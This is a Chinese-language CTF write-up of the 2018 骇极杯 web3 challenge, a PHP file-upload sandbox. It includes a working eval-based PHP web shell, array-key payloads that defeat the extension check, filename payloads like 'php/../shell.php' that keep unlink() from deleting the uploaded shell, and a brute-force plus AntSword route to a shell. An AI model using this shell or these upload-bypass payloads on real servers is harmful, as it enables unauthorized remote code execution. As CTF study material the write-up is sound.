骇极杯 2018 web3
题目给出了源码,比赛的时候看了几眼觉得麻烦没做,但是源码一直被我留着。
最近还原了一下题目环境,由于本地 Windows 环境下 PHP 的unlink()
绕过方式在这题不适用,就放在服务器上了。
代码分析
源码如下,做了一些注释:
<?php
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);//创建文件夹
@chdir($sandbox);//将新创建的文件夹作为当前目录
if($_FILES['file']['name']){//如果有上传的文件存在
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];//将文件的名字或者POST上来的"file"的值优先取出
if (!is_array($filename)) {//如果不是数组,去掉'.',拆成数组
$filename = explode('.', $filename);
}
$ext = end($filename);//取数组的最后一个元素
if($ext==$filename[count($filename) - 1]){//如果相等就GG
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;//随机生成文件名
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);//将文件存到新的路径下
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){//满足条件则包含
include($_);
}
unlink($new_name);//删除文件
}
else{
highlight_file(__FILE__);
}
?>
可以看出大致思路是上传,绕过,包含,getshell。
关键在于要绕过unlink()
函数,不然会导致 getshell 失败。
无表单文件上传
首先需要上传一个文件,由于没有表单,比赛的时候觉得很麻烦就放弃了。
在本地写了一个表单:
写好 shell:
<?php
if(empty($_POST["Sh311"]))
echo "sucess";
else
@eval($_POST['Sh311']);
?>
上传,然后抓包:
把 POST 的文件部分的格式复制下来,改改boundary
就可以。
当然,该文件是无法被保存的,于是要进行下面的绕过。
逻辑绕过
下面这段:
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
如果不是数组会被过滤,于是要 POST 一个数组file
。
然后是这段:
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
PHP 中数组的元素的顺序并不是根据键名的数字来排的,而且键名还不一定是数字。
比如 POST:
file[1]=aaa&file[0]=bbb
$ext
的值是bbb
,就可以绕过。
然后到了关键的unlink()
:
$new_name = (string)rand(100,999).".".$ext;
......
unlink($new_name);
这篇博客详细说明了unlink()
的绕过方法。
简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。
但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。
如果 POST:
file[1]=aaa&file[0]=php/.
则新的文件名为xxx.php/.
,在move_uploaded_file()
处理的时候,会转化为绝对路径,成功将xxx.php
保存。
但是unlink()
删除失败,xxx.php
就被保存了下来。
文件包含
由于文件名是随机生成的,直接上 Intruder:
成功 getshell:
蚁剑连上,此题也就结束了:
但是这种方法需要爆破,如果随机的范围稍大一些就不行,于是可以试试绕过随机函数。
另一种绕过方式
如果 POST:
file[1]=aaa&file[0]=php/../shell.php
新的文件名为xxx.php/../shell.php
,用了一个相对路径,创建的其实是当前目录下的shell.php
,同样也能绕过unlink()
。
这样能直接 getshell:
蚁剑连上,然后随便翻翻就能找到 flag 了。
授权 www-data 用户组
还原题目时,由于 nginx + PHP-FPM 使用的默认用户是 www-data,而网站的目录归属于 root 用户,权限不够。
对网站目录进行授权即可:
chown -R www-data:www-data /var/www/html
chmod
也可以,但这个习惯不好。